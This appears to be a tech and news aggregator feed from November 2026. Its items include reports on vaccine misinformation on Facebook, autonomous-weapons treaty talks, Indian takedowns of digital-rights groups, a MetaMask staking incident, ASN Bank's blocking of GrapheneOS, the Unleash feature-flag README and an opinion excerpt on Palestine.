A nurse prepares the arm of a child to receive a measles, mumps and rubella virus vaccine on 29 April 2019 in Provo, Utah. Photograph: George Frey/Getty Images

On the Lancaster measles post, which asked for ways to “detox” from the MMR vaccine, Meta’s AI summarized the discussion as: “No detox needed, some commenters cite vitamin A deficiency as a measles risk factor, while others claim the vaccine is unnecessary or even harmful.”

Meta’s AI system could be adding context to that post to clarify that a vaccine detox is not a scientifically valid idea, DiResta said.

“It’s very easy for an AI to do that,” she said, pointing out that Meta uses AI for some notes on Threads. “But it seems, again, that they’re choosing not to do that.”

Meta told the Guardian on Wednesday evening it had gotten rid of AI summaries of discussions in September. But the Guardian took screen shots of more than 10 such summaries in October, some going back as far as December 2025.

Meta did not respond to specific questions on the issues the Guardian raised about the substance of the AI-generated content.

Husser said he makes it a habit to pay attention to bad medical information circulating online so he won’t be surprised at work if patients ask him about it.

“[Facebook is] way more permissive,” Husser said. “Since 2025, it’s become a totally different environment.”

Crunchy Moms’ administrator Rupe said she has noticed a change as well. In the past, she remembers getting Facebook strikes or removals for mentioning the word vaccines.

“It seems like we’re not getting in trouble for a lot of things like we used to,” Rupe said.

In the past, she recalls that Facebook would flag posts it deemed as containing misinformation before they were approved, and said she usually would not approve them if she saw such a message. But she doesn’t remember getting any this year. Rupe said Facebook only takes down about one post per month from Crunchy Moms.

Meta’s AI will alert her when someone uses a swear word, or a variation of one, in the group. But Rupe said it doesn’t give her any alerts about what some might call medical misinformation.

DiResta said the fact that Facebook is recommending this group to people is significant.

“Meta is pushing this thing unsolicited into the feeds of particularly new parents” who naturally have concerns and fears about their childrens’ health, DiResta said. “They want to feel that they’re doing the best for their kids.”

We've built an open-source feature flag server for 11 years

Hacker News
github.com
2026-11-06 06:40:06
Comments...
Original Article

What is Unleash?

Unleash is a powerful open-source solution for feature management. It streamlines your development workflow, accelerates software delivery, and empowers teams to control how and when they roll out new features to end users. With Unleash, you can deploy code to production in smaller, more manageable releases at your own pace.

Feature flags in Unleash let you test your code with real production data, reducing the risk of negatively impacting your users' experience. It also enables your team to work on multiple features simultaneously without the need for separate feature branches.

Unleash is the most popular open-source solution for feature flagging on GitHub. It supports 15 official client and server SDKs and over 15 community SDKs. You can even create your own SDK if you wish. Unleash is compatible with any language and framework.

Get started with Unleash

Set up Unleash

To get started with Unleash, you can either explore Unleash Enterprise with a free trial or get started locally with our open-source solution.

Unleash Enterprise

To start with Unleash Enterprise, request a free trial . This gives you access to a hosted instance with unlimited projects and environments and features such as role-based access control , change requests , single sign-on , and SCIM for automatic user provisioning.

Unleash Open Source

To set up Unleash locally, you'll need git and docker installed on your machine.

Execute the following commands:

git clone git@github.com:Unleash/unleash.git
cd unleash
docker compose up -d

Then point your browser to localhost:4242 and log in using:

  • username: admin
  • password: unleash4all

If you'd rather run the source code in this repo directly via Node.js, see the step-by-step instructions to get up and running in the contributing guide .

Connect your SDK

Find your preferred SDK in our list of official SDKs and import it into your project. Follow the setup guides for your specific SDK.

If you use the docker compose file from the previous step, here's the configuration details you'll need to get going:

  • For frontend SDKs, use:
    • URL: http://localhost:4242/api/frontend/
    • clientKey : default:development.unleash-insecure-frontend-api-token
  • For backend SDKs, use:
    • Unleash API URL: http://localhost:4242/api/
    • API token: default:development.unleash-insecure-api-token

If you use a different setup, your configuration details will most likely also be different.

Check a feature flag

Checking the state of a feature flag in your code is easy! The syntax will vary depending on your language, but all you need is a simple function call to check whether a flag is available. Here's how it might look in Java:

if (unleash.isEnabled("AwesomeFeature")) {
  // do new, flashy thing
} else {
  // do old, boring stuff
}

Try Unleash in the cloud

Want to explore Unleash without setting it up locally? Here are two easy ways to see it in action.

Live demo

Open a running Unleash environment in your browser with no signup or setup required. This shared demo instance includes the core functionality so you can quickly get a feel for how Unleash works.

→ Launch the live demo

Launch the live demo

Free Enterprise trial

Get your own dedicated instance with a free 14-day cloud trial. This includes the full Unleash Enterprise feature set; ideal when evaluating Unleash for production use.

→ Start your free trial

Deploying to a production server

To self-host Unleash in a production environment, you need to deploy it to a persistent server.

We provide guides for deploying to services like Heroku and DigitalOcean:

Deploy to Heroku Deploy to DigitalOcean

For more advanced configurations options, check out our documentation on:

Community and help

We know that learning a new tool can be hard and time-consuming. We have a growing community that loves to help out. Please don't hesitate to reach out for help.

Join Unleash on Slack

💬 Join Unleash on Slack if you want ask open questions about Unleash, feature toggling or discuss these topics in general.

💻 Create a GitHub issue if you have found a bug or have ideas on how to improve Unleash.

📚 Visit the documentation for more in-depth descriptions, how-to guides, and more.

📖 Learn more about the principles of building and scaling feature flag solutions.

Contribute to Unleash

Unleash is the largest open-source feature flag solution on GitHub. Building Unleash is a collaborative effort, and we owe a lot of gratitude to many smart and talented individuals. Building it together with the community ensures that we build a product that solves real problems for real people. We'd love to have your help too: Please feel free to open issues or provide pull requests.

Check out the CONTRIBUTING.md file for contribution guidelines and the Unleash developer guide for tips on environment setup, running the tests, and running Unleash from source. Before a pull request can be merged, contributors must read and agree to the Unleash Contributor License Agreement .

Contributors

The Unleash contributors

Documentation

You can visit the Unleash documentation at https://docs.getunleash.io . As of 2 February 2026, the Unleash documentation source code lives in its own repository: Unleash/unleash-documentation .

Features our users love

Flexibility and adaptability

Security and performance

  • Privacy by design (GDPR and Schrems II). End-user data never leaves your application.
  • Audit logs
  • Enforce OWASP's secure headers via the strict HTTPS-only mode
  • Flexible hosting options: host it on premise or in the cloud ( any cloud)
  • Scale with Unleash Edge independently of the Unleash server to support any number of frontend clients without overloading your Unleash instance

Looking for more features?

If you're looking for one of the following features, please take a look at our Pro and Enterprise plans :

Architecture

Read more in the system overview section of the Unleash documentation .

Unleash SDKs

To connect your application to Unleash you'll need to use a client SDK for your programming language.

Official backend SDKs:

Official frontend SDKs:

Community SDKs:

If none of the official SDKs fit your need, there's also a number of community-developed SDKs where you might find an implementation for your preferred language (such as Elixir , Dart , Clojure , and more).

Users of Unleash

Unleash is trusted by thousands of companies all over the world .

Proud Open-Source users: (send us a message if you want to add your logo here)

The Unleash logo encircled by logos for Finn.no, nav (the Norwegian Labour and Welfare Administration), Budgets, Otovo, and Amedia. The encircling logos are all connected to the Unleash logo.

Migration guides

Unleash has evolved significantly over the past few years, and we know how hard it can be to keep software up to date. If you're using the current major version, upgrading shouldn't be an issue. If you're on a previous major version, check out the Unleash migration guide !

Want to know more about Unleash?

Videos and podcasts

Articles and more

Russia and US seek to block plan for binding rules on autonomous weapons

Guardian
www.theguardian.com
2026-11-06 06:08:33
UN conference this month seen as key moment after years of discussions on filling gap in governance of AI systems Plans to fill a gap in the global governance of autonomous weapons are in jeopardy as a group of nations led by Russia and the US move to use a UN conference this month to block proposal...
Original Article

Plans to fill a gap in the global governance of autonomous weapons are in jeopardy as a group of nations led by Russia and the US move to use a UN conference this month to block proposals to negotiate a legally binding set of rules.

The scale of the opposition will become clear at a diplomatic retreat starting on Friday before the seventh review conference on “certain conventional weapons” in Geneva due to be attended by 128 countries from 16 to 20 November.

The review conference is seen as the key moment when the world could decide whether to back a mandate to negotiate a legally binding instrument negotiated within a defined timetable. The speed with which autonomous weapons are being developed and used in warfare is widely acknowledged.

Anna Hehir, the head of military AI governance at the Future of Life Institute, an independent nonprofit, said: “States have never been closer to launching a global agreement on AI weapons. A lot of the hard work has already been done and states have now agreed by consensus to elements of a draft treaty text that would be the basis for negotiations to start.

“But we will likely see some states hide behind language that has the veneer of progress but advocates for a continuation of endless discussions on voluntary measures that have no teeth. The proposals for more years of discussions on non-legally binding measures are smokescreens to keep autonomous weapons systems unregulated and states unaccountable for their use.”

Discussions have been under way on the issue inside the UN for nearly three years but Russia, the US and Israel, among others, are pushing against the review conference setting a timetable for a legally binding instrument.

In an intervention timed to influence the review conference, Pope Leo XIV stressed that decisions relating to human life could never be given to machines. He said: “Decisions affecting human life, freedom and the use of force must always remain subject to effective, informed and responsible human oversight. For this reason, artificial intelligence must be ‘disarmed’, and I encourage the states meeting in Geneva in November to take concrete steps toward banning lethal autonomous weapons.”

Human Rights Watch and the campaign group Stop Killer Robots argue that weapons systems, assisted by AI, are proven to behave unpredictably, increasing the risk of fatal errors and battlefields spinning out of human control.

A large model of a robot and people in white overalls near the Brandenburg Gate
A protest by the campaign group Stop Killer Robots in Berlin in 2019. Photograph: Annegret Hilse/Reuters

The International Committee of the Red Cross (ICRC) said on Thursday: “The time has come to move from discussion to negotiation on new international rules to regulate autonomous systems. The world cannot afford further delays.”

In July, Ukraine reported for the first time that Russia had used an AI-guided drone, which struck a propane tank at a fuel station in Zaporizhzhia. The Ukrainian president, Volodymyr Zelenskyy, has warned about the speed of AI weapon development, calling for the Ukraine war to be ended before AI takes over the battlefield.

On 22 October, a coalition of 50 states including Ireland, Italy, Brazil, Mexico, France and Germany called for the conference to agree a strict negotiating mandate. The ICRC separately reported that more than 70 states supported beginning negotiations on a legal instrument.

The UK did not back the Irish statement and has previously argued that existing international humanitarian law is sufficient basis for the regulation of such weapons.

The Ireland-led group proposed a mandate to be agreed by the review conference that would establish a time-limited expert group tasked with negotiating the needed rules over three sessions in Geneva in 2027, totalling 25 days. The group would be required to submit a report containing the draft protocol to that year’s annual meeting, expected to take place later in 2027.

In September, a UN experts group report prepared for the Geneva review conference tried to define the moral issues at stake by backing general calls for human judgment and control in the use of such weapons, as well as limits on the range and breadth with which they are allowed to operate.

The French government welcomed the experts group proposals, saying they were a sufficient basis for the conference to be given a negotiating mandate that “bans completely autonomous weapons systems and regulates systems with autonomous functions”.

The US largely favours leaving it to nation states to impose their controls in line with international humanitarian law. The Pentagon has set up its own autonomous weapons working group. Similar expert committees in Germany are trying to define the principles behind how human control can be exerted over such weapons.

In August the outgoing UN secretary general, António Guterres, and the ICRC president, Mirjana Spoljaric, warned that the world was “nearing a moral red line where autonomous weapons could kill without human involvement”. They said: “Negotiations must begin now to urgently adopt a legally binding instrument to regulate autonomous weapon systems with clear prohibitions and restrictions.”

A recent poll commissioned by the Future of Life Institute found overwhelming support for a global treaty to limit AI weapons among the public in France, Germany and the UK, but some scepticism that the treaty would ever be respected.

A total of 163 states voted at the UN disarmament and international security committee that they were ready to launch negotiations. They will face enormous pressure to back down and settle for outcomes that keep the issue deadlocked. Multilateral arms control agreements are known to come about when cross-regional majorities withstand pressure and step outside of consensus paralysis.

The expert working group defined autonomous weapons as those weapons “capable of identifying, selecting and engaging a target without the need to refer the issue to a human being”.

The latest example of the misuse of AI in war was the US bombing of a school in Minab, Iran, on 28 February, which killed at least 175 people . The targeting included input from the Maven AI system operated by Palantir. Maven reportedly did not flag that the site was now a school, nor did any personnel tasked with reviewing the AI target data. One advantage of AI is that it is much quicker in checking a target list, but no one picked up that this target had been a school for 10 years.

Defeating Zionism to Free Palestine

Intercept
theintercept.com
2026-11-06 06:00:00
Palestinian liberation is the key to fighting racism, imperialism, and genocide around the globe. The post Defeating Zionism to Free Palestine appeared first on The Intercept....
Original Article

The World at a Crossroads

Three years on from the onset of Israel’s genocide in Gaza, we are at a crucial hinge point. The world today, when it comes to Palestine, stands at the crossroads: meaningful support for liberation and decolonization, or the normalization of colonial expansion and erasure.

Since the 2021 “ Manifesto of Dignity and Hope ” and the unified call of Palestinians to confront Zionism, the Israeli political sphere has only continued to sustain and entrench its fascist trajectory and its racist laws . After 2023, Israeli settler colonialism and domination escalated into all-out destruction and elimination. Palestinians who had been enduring suffocating apartheid and siege for far too long were now subjected to genocidal assault. Though the context on the ground shifted, the urgent need for a better understanding and challenge to Zionism on political, legal, structural, and ideological grounds remained.

It was a new generation of Palestinian activists who produced the Manifesto of Dignity and Hope, but their text was shaped by the legacy and spirit of Palestinian revolutionaries and anti-colonial thinkers from earlier periods. Common language echoes through the generations. A quarter-century ago, Palestinian intellectual Edward Said wrote the core of the issue of Palestine “is intellectual truth and the need to combat any sort of apartheid. We should concentrate our resistance on … fully confronting the apartheid provisions inherent in Zionism.” And as diplomat Fayez Sayegh captured it in 1965: Racism is not an acquired or incidental or passing feature of the Israeli state; it is “inherent in the very ideology of Zionism.” Today, we can draw inspiration from these intergenerational reverberations across Palestinian theory and activism, in their consonant commitments to confronting Zionism.

Part of our own task as anti-colonial legal scholars is to expand our analysis of the limitations of narrow liberal legal readings of apartheid and inequality, and to highlight how a radical critique of Israeli apartheid is essential to dismantling Israel’s apartheid regime. This requires scrutiny not only of Zionism and Israeli settler colonialism, but also of the concept of apartheid itself. Apartheid was previously understood in the context of the African anti-apartheid struggle, in a formulation originally coined by the South African Communist Party, as “colonialism of a special type.” By the late 1990s, however, apartheid had been stripped in mainstream understandings of its global character and colonial essence, and effectively reframed as “ racial discrimination of a special type .”

One factor in this analytical shift was the domestication of racism in international law, which has obscured its relationship to global capitalism and transformed racism into a problem for individual countries to resolve through juridical reform or diversity, equity, and inclusion programs. Racism is not merely abhorrent because people’s feelings are hurt or one feels unseen, however, but because it is entangled with power and economic structures, and because materially, the continuum of racist violence culminates in genocide, which is squarely understood as a global phenomenon. Martin Luther King Jr. pointed to this in 1967 when he said: “In the final analysis, racism is evil because its ultimate logic is genocide. … If one says that I am not good enough to eat at a lunch counter, or to have a good, decent job, or to go to school with him merely because of my race, he is saying consciously or unconsciously that I do not deserve to exist.”

International law attempts to capture this continuum. Three of the specific acts conducted to maintain apartheid are identical to the acts conducted to commit genocide under their respective legal definitions. In the former, they are done with the intent to dominate; in the latter, with the intent to destroy. These are not mutually exclusive, but rather interact with each other: Colonialism, apartheid, and genocide combine under the Zionist project in Palestine to produce a system of oppression based on conquest, structural racism, dispossession, and elimination.

Palestinian opposition to Zionism and the imperatives of decolonization — for political emancipation, material survival, and cultural flourishing — are the central thrust of our work. The colonial origins and early legal mechanics of Zionist settler colonialism and Israel’s apartheid regime reveal how Zionism functioned both as a colonial initiative and a racializing project. This manifested in colonial institutions even before the state was established in 1948, after which they were enshrined in racist legal regimes. A broad structural analysis of the institutional and economic processes of land and capital accumulation that have occurred under settler colonialism in Palestine is necessary to understand the machinery of conquest and dispossession — and the role that racism has played in driving it forward. Drawing on the anti-colonial Palestinian intellectual tradition, we can see that an antiracist analysis has been organic to the Palestinian liberation struggle and is precisely what shaped U.N. initiatives in the 1960s and 1970s that condemned Zionism as a form of racism and racial discrimination alongside apartheid and colonialism.

Despite all the analysis of Israeli state racism and colonial violence since 1948 and all of the mass popular mobilizations and legal advocacy against Israeli apartheid, nothing substantive was done at an international, political, or institutional level to address or redress it. This inaction and the impunity afforded to Israel inevitably culminated in the situation that the world found itself in after October 2023: unsanctioned apartheid accelerating into unadulterated genocide — and given the green light by those who had the power to stop it. There was a decade of increasingly flagged warning signs leading up to this. But Palestinian scholars and international lawyers who had warned of a “prelude to genocide” or “ slow-motion ” genocide over the years were largely ignored, and in some cases castigated. The consequences have been catastrophic. The United States actively funded , armed , and cheer-led the butchery in Gaza. European Union leaders chose to “stand with Israel” as it announced its starvation policy and war of annihilation.

We would not have ended up in this present moment if the critiques of Zionism as colonialism and racism and the reality of Israel as an apartheid regime had been taken seriously. In 1975, the U.N., led by a Third World majority, declared “international co-operation and peace require the achievement of national liberation and independence, the elimination of colonialism and neocolonialism, foreign occupation, zionism, apartheid and racial discrimination in all its forms, as well as the recognition of the dignity of peoples and their right to self-determination.” Against this, the Western world, led by the United States, has worked to normalize Israeli apartheid.

We see part of our task now as one of continuing to build on the recent “mainstreaming” of condemnations of Israeli apartheid and genocide, but in a way that decisively resists the drift toward narrower, liberal articulations and insists on the importance of radical, anti-colonial, and anti-imperial analysis and praxis. In our work as critical legal scholars, we situate apartheid and the shape it has taken as a category in international law, and we explore the limits and potential of legal tactics, arguments, and institutions to dismantle Israeli apartheid and end the genocide in Gaza. We argue that while legal actions should be pursued in the service of political and social movements, legal logic is insufficient in itself — and can risk narrowing or distorting the horizon of Palestinian liberation. In our view, the proliferating condemnations of Israel by major human rights organizations and mainstream figures in recent years have belatedly reflected the popular consensus and a political reality that Palestinian activism had made undeniable. They also fit, to varying degrees, within a wider pattern of containment.

As one example, take the case of European officials and states finally beginning to acknowledge the heinousness of Israel’s obliteration of Gaza in mid-2025, but doing so primarily in the form of calling for a Palestinian state . They did so only after almost two full years of enabling untold destruction, and refusing to impose any serious sanctions to stem the genocide. Their moves to recognize Palestinian statehood were not about any genuine support for Palestinian self-determination, but rather a way to stabilize the apartheid status quo and try to slow down the Israeli–U.S. drive to continue the erasure of Gaza and full annexation of the West Bank.

With all of that in mind, it is important to situate the political moment we are in — the increasing focus on Israeli apartheid in recent years and subsequently on the genocide in Gaza — alongside the urgency of thinking about Palestine’s future and our collective responsibilities. In doing so, we have several core aims: to offer a deeper understanding of the nature and extent of Israel’s colonial rule over Palestinian lands and lives; to think through the relationship between the practices of Israeli settler colonialism, apartheid, and genocide on the one hand, and the institutions and ideology of Zionism on the other; to situate Palestinian liberation and its global solidarity alliances as an antiracist struggle and an anti-colonial movement; and to insist on the need for systemic anti-imperial understandings and critiques of Zionism. To properly confront Zionism and avoid the pitfalls of neo-apartheid, we must be attentive to the necessities and practicalities of decolonization.

The decolonization of Palestine today continues a legacy of other liberation struggles — against European colonization globally, against domestic regimes of fascism, against apartheid in southern Africa, and against white supremacy in the United States and elsewhere. These are political orders that Third World, antiracist, partisan, and socialist movements have fought against throughout the past century and more. We must continue that tradition in the service of decolonization by fleshing out the political, legal, historical, and moral reasoning of anti-colonial and anti-Zionist thinking and movements. In our own writing, we feel we are merely providing footnotes to the political education and organizing that has fanned out from Palestine around the world, and that has shaped what millions of activists and people of conscience have viscerally felt: that Zionist colonial rule should and can be dismantled, and that Palestinians must be supported in their struggle to do so.

The stakes of confronting Zionist settler colonialism are high for the entire world: first and foremost for Palestinians’ own liberation, but also because their struggle is at the epicenter of wider global struggles against structures of domination and exploitation. Zionism is a colonial project in Palestine, but also a vehicle of imperialism in the region — agitating for U.S. war and intervention, acting as an antagonist of imperial aggression against Lebanon, Syria, Iran, Yemen and beyond, and actively collaborating with reactionary geopolitical forces globally. Zionism has been further mobilized by ethnonationalists and imperial projects as a proposition on how to organize a society on a basis of racial hierarchy that leaves its excluded groups to perish. Palestinian revolutionary intellectual Ghassan Kanafani always insisted on the importance of understanding the Palestinian struggle in the context of “the alliance between Zionism and imperialism.” And in positioning Kanafani’s analysis in the context of global movements against imperialism today, educator and organizer Layan Sima Fuleihan reiterates the Palestinian cause is “a banner for all of humanity.”

Naji al-Ali, the Palestinian political cartoonist famous for his iconic Hanzala (or “Handala”) character who symbolizes Palestinian resolve and future return, was himself displaced from northern Palestine as a boy during the Nakba and grew up in refugee camps in Lebanon. Kanafani came across Al-Ali and his artwork in Ein al-Hilweh camp and began to publish his drawings in the early 1960s. Al-Ali went on to produce tens of thousands of cartoons over the next 25 years, and through his art was renowned as a voice of Palestinian and Arab political consciousness. In 1984, just a couple of years before he would be assassinated , Al-Ali reflected on what Hanzala and Palestine represented:

I feel that I can recall and sense every bush, every stone, every house and every tree I passed when I was a child in Palestine. The character of Hanzala was a sort of icon that protected my soul from falling whenever I felt sluggish or I was ignoring my duty. That child was like a splash of fresh water on my forehead, bringing me to attention and keeping me from error and loss. He was the arrow of the compass, pointing steadily towards Palestine. Not just Palestine in geographical terms, but Palestine in its humanitarian sense — the symbol of a just cause, whether it is located in Egypt, Vietnam or South Africa.

In the decades since then, the idea of Palestine as the compass has resonated in struggles for justice around the world. Most recently, in 2025, the Palestinian Youth Movement and a coalition of solidarity groups brought thousands of activists together for the People’s Conference for Palestine, under the banner “Gaza is the compass.”

A wide array of voices, from community activists to trade union organizers to political representatives, emphasized how central Palestine is to all of the social struggles they are engaged in.

Palestinian doctor Mohammad Mustafa articulated the perspective of the many involved in movements for justice across the globe: “Gaza is the measure of our humanity. It is the litmus test that reveals who we are; as individuals, as a nation, as a world. … The compass points in one direction no matter who you are or where you are. In this way it provides a mandate and direction towards freedom for everyone.”

Lawyer and organizer Huwaida Arraf echoed these ideas: “Gaza is our compass because it points us to the truth. … When we’re fighting for Gaza, we’re fighting for a world where no people live in cages or under siege, under the boot of militarism or of fascism.”

Monadel Herzallah from Gaza, who lost five family members in the genocide, insisted the same: “To fight for a free Palestine is to fight for a free Haiti, a free Congo, a free Sudan — a free and just world which will be molded by all of us.”

Palestine is the compass because of what it represents as a banner for all humanity, and because of the horizons it opens up everywhere in imagining and building a new world.

Excerpt adapted from “Confronting Zionism: Decolonizing Palestine and Building the World Anew,” coming from Haymarket Books on November 10, 2026.

Ben Hutchings: FOSS activity in October 2026

PlanetDebian
www.decadent.org.uk
2026-11-06 05:48:18
Debian packages: firmware-nonfree: Bugs: replied to #1150535: firmware-amd-graphics: Raphael iGPU SMU fails on resume from s2idle with 20260810 blobs, works with 20240318 Uploads: ...
Original Article

Better living through software

Ben Hutchings's diary of life and technology

Living beyond the limits of survival: wood ants trapped in a gigantic pitfall (2016)

Hacker News
jhr.pensoft.net
2026-11-06 05:21:15
Comments...
Original Article
  • Contents Contents
  • Article Info Article Info
  • Cite Cite
  • Metrics Metrics
  • Comment Comment
  • Related Related
  • Figs Figs
  • Map Map
  • Taxa Taxa
  • Refs Refs
  • Cited Cited
  • Article title

  • Abstract

  • Keywords

  • Introduction

  • Study area and methods

  • Results

  • Discussion

  • Acknowledgements

  • References

Subscribe to email alerts for current Article's categories

Powered by

When the Watchdogs Are Silenced: India's Crackdown on Those Documenting Online Censorship

Electronic Frontier Foundation
www.eff.org
2026-11-06 04:30:42
On November 3, our colleagues at the Software Freedom Law Center, India (SFLC.in) received notifications from X that the Delhi Police had issued takedown requests targeting 42 URLs. Among the accounts and posts targeted were those belonging to SFLC.in, the Internet Freedom Foundation (IFF), and X ac...
Original Article

On November 3, our colleagues at the Software Freedom Law Center, India (SFLC.in) received notifications from X that the Delhi Police had issued takedown requests targeting 42 URLs. Among the accounts and posts targeted were those belonging to SFLC.in , the Internet Freedom Foundation (IFF), and X account @geoblockedindia, as well as posts documenting legal notices and instances of online censorship.

Takedown requests targeting SFLC.in and other digital rights groups threaten not only their work, but the public’s ability to know when and how online speech is being restricted.

The requests cite grounds including hate speech, alleged defamation of the Hindu nationalist organization Rashtriya Swayamsevak Sangh (RSS), and concerns relating to safety and security. But the context in which these requests have emerged is particularly troubling: they target organizations and individuals whose work involves documenting restrictions on online expression and making those restrictions visible to the public.

In other words, the organizations being targeted are among those trying to tell the public when and how its speech is being censored.

SFLC.in is one of India's most important digital rights organizations and promotes innovation and open access to knowledge by helping developers make great free and open-source software, protects privacy and civil liberties for Indians by educating and providing free legal advice, and helps policymakers make informed and just decisions about use of technology. In 2025, we recognized their work with an EFF Award for Defending Digital Freedoms.

IFF (the Internet Freedom Foundation) is another of EFF's close allies in India. Like EFF, IFF combines advocacy campaigns and strategic litigation to advance digital rights. They write frequently about internet shutdowns and have filed several lawsuits contesting them.

Among SFLC.in's initiatives is its Free Speech Tracker , which documents instances of online censorship, content restrictions, and account takedowns in India. In a country where government orders to restrict online content are often opaque, this work is absolutely essential.

Recent legal notices object to the tracker itself, as well as the organization’s documentation of restricted content and geo-blocked material. The allegations against SFLC.in include claims that it is "continuously opposing government directions" and publicly circulating information about restricted content, thereby undermining measures taken in the name of national security and public order.

But documenting government censorship is not the same as undermining public safety. Reporting that content has been restricted is not an endorsement of that content, nor does it constitute an attempt to circumvent the law. It is an exercise in transparency and accountability, and one that allows journalists, researchers, civil society organizations, and the public to understand how governments exercise their power over the information landscape.

Censorship thrives in the absence of transparency

The use of legal complaints and platform takedown mechanisms against organizations documenting censorship creates a particularly troubling dynamic. When those who monitor restrictions on expression are threatened with having their accounts or reporting removed, the result is a chilling effect that extends far beyond the immediate targets. Other organizations or journalists may think twice before documenting controversial takedowns or challenging government orders, and the public loses access to an independent record of decisions that affect its ability to speak and access information online.

There is also an important role here for platforms like X. Platforms must be transparent about the requests they receive, provide meaningful notice to affected users, and ensure that any restrictions are subject to appropriate scrutiny and avenues for appeal. When governments seek to restrict speech, platforms have a responsibility to avoid becoming opaque intermediaries through which censorship is quietly carried out.

These developments are part of a broader pattern of pressure on independent civil society organizations working to defend freedom of expression and access to information in India. Digital rights groups play an indispensable role in documenting the effects of government policies, identifying patterns of censorship, and challenging restrictions that undermine fundamental rights. Their ability to do so independently is not a peripheral concern; it is a cornerstone of a healthy democratic society.

The right to freedom of expression includes the right to scrutinize the exercise of government power. That includes the right to document censorship, question the reasons given for it, and make that information available to the public.

EFF stands in solidarity with SFLC.in, the Internet Freedom Foundation, @geoblockedindia, and all those working to document and challenge restrictions on online expression in India. We urge the authorities in India to respect the rights of digital rights organizations to conduct their work without intimidation or retaliation, and to ensure that any restrictions on online expression comply with international human rights standards.

Dutch 'idealist' bank ASN blocks non-Google Android, including GrapheneOS

Hacker News
github.com
2026-11-06 04:27:12
Comments...
Original Article

@Tasqa
I got a similar reply from ASN of my complaint. Part of the message is exactly the same as yours. It seems they are at least combining the complaints and have a template reply for them.

Uw klacht
U geeft aan dat betalen met iDEAL | Wero niet meer lukt op uw **** omdat de ASN-app bij de activatie van iDeal | Wero Google Play Integrity controleert. U vindt dit niet passen bij een duurzame bank die privacy belangrijk vindt en eigendom is van de Nederlandse Staat. U wilt weten of de ASN Bank een alternatief biedt voor gebruikers zonder Google Play Integrity. U wilt dat de ASN Bank de afhankelijkheid van Google Play Integrity uit de ASN-app haalt en AOSP-attestation gebruikt.

Onze reactie
We begrijpen dat het vervelend is dat u op dit moment via uw telefoon niet kunt betalen.

Voor online betalingsverkeer via het nieuwe iDEAL | Wero geldt strenge Europese wet- en regel strenge regels rondom privacy, veiligheid en het voorkomen van fraude. iDEAL | Wero stelt daarom hoge eisen aan de beveiliging en integriteit van apparaten die gebruik maken van de betaalmethode.

iDEAL | Wero maakt gebruik van de standaard beveiligingscontroles voor reguliere besturingssystemen. Doordat alternatieve systemen deze ingebouwde beveiligingen overslaan of vervangen, garandeert iDEAL | Wero de veiligheid van de transactie niet.

Als bank maken we voor onze dienstverlening regelmatig gebruik van externe leveranciers. Waar mogelijk beoordelen we de risico's op het gebied van privacy, informatiebeveiliging en continuïteit, en proberen we deze te beperken tot een acceptabel niveau. Zijn de risico's onacceptabel, dan maken we geen gebruik van de leverancier.

Voor gezamenlijke betaalinitiatieven, zoals iDEAL | Wero, volgen we de kaders en veiligheidseisen die partijen gezamenlijk vaststellen.

De mogelijkheden voor de toekomst
We onderzoeken met iDEAL | Wero of alternatieve besturingssystemen in de toekomst worden ondersteund. Dat hangt af van meerdere partijen en technologische ontwikkelingen. Daarover kunnen we op dit moment niets toezeggen of garanderen.

Conclusie
ASN Bank werkt met Nederlandse en Europese partijen aan de verdere ontwikkeling en beschikbaarheid van iDEAL | Wero. Op dit moment ondersteunen we de dienst nog niet op alle toestellen en besturingssystemen. Daarom bieden we u helaas geen oplossing waarmee u iDEAL | Wero alsnog op uw telefoon gebruikt. We begrijpen dat dit niet het antwoord is waarop u hoopte. Op dit moment hebben we ook geen andere informatie over wanneer ondersteuning voor uw toestel beschikbaar komt.

MetaMask says recent attack didn't affect wallet infrastructure

Bleeping Computer
www.bleepingcomputer.com
2026-11-06 04:22:28
Cryptocurrency wallet provider MetaMask said a recent security incident has not affected MetaMask wallets or its wallet infrastructure. [...]...
Original Article

MetaMask

Cryptocurrency wallet provider MetaMask said a recent security incident has not affected MetaMask wallets or its wallet infrastructure.

The MetaMask non-custodial crypto wallet (developed by blockchain software company Consensys) lets users store and manage assets on the Ethereum network and compatible blockchains.

MetaMask revealed on September 30 that it was investigating an "ongoing infrastructure security incident" and exited affected validators (Ethereum network nodes responsible for proposing blocks, verifying crypto transactions, and maintaining Ethereum blockchain security) within non-custodial staking operations.

image

While the company shared almost no details at the time and redirected BleepingComputer to the public statement when asked what part of its infrastructure was affected, in a Thursday update it said that a threat actor gained access to systems used to store recipient addresses and diverted some execution-layer staking rewards.

"The issue was identified and addressed on the same day, and approximately 0.385 ETH in rewards was diverted. These rewards are separate from customers' staked ETH," MetaMask said . "We have found no evidence that customers' staked principal or withdrawal keys were compromised, and the affected systems have been secured."

It also added that the attack did not compromise MetaMask users' Secret Recovery Phrases or private keys and that it was working with affected customers to refund the lost rewards.

"Some customers have experienced temporary withdrawal delays as a result of the precautionary validator exits. The process may also have resulted in missed staking rewards while validators were exiting or awaiting reactivation. We are working directly with affected customers and partners to address any outstanding impact," MetaMask noted.

"MetaMask wallet users do not need to take any action as a result of this incident. Customers whose staking arrangements were affected should follow any guidance provided directly by MetaMask or their staking provider."

Last month, Ledger also asked Asian resellers and distributors to halt wallet sales and remove products from shelves while it was investigating multiple hardware implant incidents.

More recently, crypto exchange Binance confirmed that North Korean hackers stole $6.34 billion after compromising its wallet infrastructure by tricking an employee into installing malware in a fake job interview.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

What are you doing this weekend?

Lobsters
lobste.rs
2026-11-06 04:15:23
Feel free to tell what you plan on doing this weekend and even ask for help or feedback. Please keep in mind it’s more than OK to do nothing at all too!...
Original Article

Feel free to tell what you plan on doing this weekend and even ask for help or feedback.

Please keep in mind it’s more than OK to do nothing at all too!

AI for scientific discovery: How researchers use Claude

Hacker News
www.anthropic.com
2026-11-06 04:13:30
Comments...
Original Article

Johannes Hermle*, Ben Jones*, Lukas Althoff*, Ryan Heller, Thomas Lyttelton, Carolyn Stein, Nathan Wilmers, Maxim Massenkoff, Peter McCrory

*Lead authors of the report

Summary

  • What we measure. AI could speed up scientific discovery, but by how much depends on what AI can do and how scientists use it. Using privacy-preserving methods, we study 207,000 Claude and Claude Code research sessions to understand how Claude is used across scientific fields and research tasks. We are conducting this research to help the public better understand the state of AI for science today and assess the impact that AI may have on scientific discovery in the future.
